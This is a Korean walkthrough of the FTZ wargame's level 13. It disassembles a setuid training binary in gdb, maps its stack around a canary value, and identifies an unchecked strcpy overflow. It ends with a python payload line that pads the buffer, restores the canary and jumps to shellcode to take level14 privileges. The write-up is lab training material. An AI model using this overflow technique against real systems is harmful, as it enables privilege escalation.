1. 풀이
- hint 파일의 내용을 통해 argc(인자의 개수)는 1을 넘어야하며, i의 값은 0x1234567이어야 프로그램이 실행되는 것을 알 수 있음
- i의 값은 버퍼 오버플로우 방지를 위한 스택가드의 역할을 수행
- attackme 파일을 tmp로 복사하여 gdb로 분석
① Procedure Prelude
0x080484a0 <main+0>: push %ebp
0x080484a1 <main+1>: mov %esp,%ebp
0x080484a3 <main+3>: sub $0x418,%esp
- 지역변수에 0x418(1048byte) 만큼의 공간을 할당
- buf(1024byte)와 long i(4byte) 만큼의 공간을 제외하면 20byte 만큼의 dummy가 있음을 알 수 있음
② long i=0x1234567;
0x080484a9 <main+9>: movl $0x1234567,0xfffffff4(%ebp)
- 할당받은 지역변수(1048byte) 공간에 i값 0x1234567을 저장
- strcpy() 함수를 호출하는 main+69에 BP를 설정 및 buf의 크기 1024byte 만큼의 A를 전달 후 메모리 값 확인
- buf는 0xbfffed5F에서 끝나며, i는 0xbfffed6C에 저장되 있으므로, 두 값 사이에는 12byte 만큼의 dummy가 존재
- 또한, 전체 지역변수 공간 1048byte에서 buf(1024)+dummy(12)+i(4)를 제외한 8byte 만큼의 dummy가 존재
- 완성된 스택 구조는 다음과 같음
③ setreuid(0xc16,0xc16)
0x080484b3 <main+19>: push $0xc16
0x080484b8 <main+24>: push $0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
- level13 권한 설정
④ if(argc>1)
0x080484c5 <main+37>: cmpl $0x1,0x8(%ebp)
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
- if문 수행 후 분기 결정
⑤ strcpy(복사할 대상, 복사할 원본);
0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax
0x080484dc <main+60>: push %eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
- strcpy()를 이용해 argv[1]의 값을 buf 배열에 복사를 수행
- strcpy()는 문자열 길이에 대한 검증을 수행하지 않기에 BOF에 취약
⑥ if(i != 0x1234567)
0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp)
0x080484ec <main+76>: je 0x804850d <main+109>
- i의 값이 0x1234567 비교 후 분기 결정
- 분석한 스택 구조와 hint의 내용을 토대로, 공격 코드를 작성
`python -c 'print "\x90"*1036(buf+dummy)+"\x67\x45\x23\x01"+"\x90"*12(dummy+sfp)+"쉘코드 주소"'`
- level14의 비밀번호 확인
'문제풀이 > FTZ' 카테고리의 다른 글
FTZ Level15 풀이 (0) | 2022.11.05 |
---|---|
FTZ Level14 풀이 (0) | 2022.11.05 |
FTZ Level12 풀이 (0) | 2022.10.31 |
FTZ Level11 풀이 (0) | 2022.10.31 |
FTZ Level10 풀이 (0) | 2022.10.31 |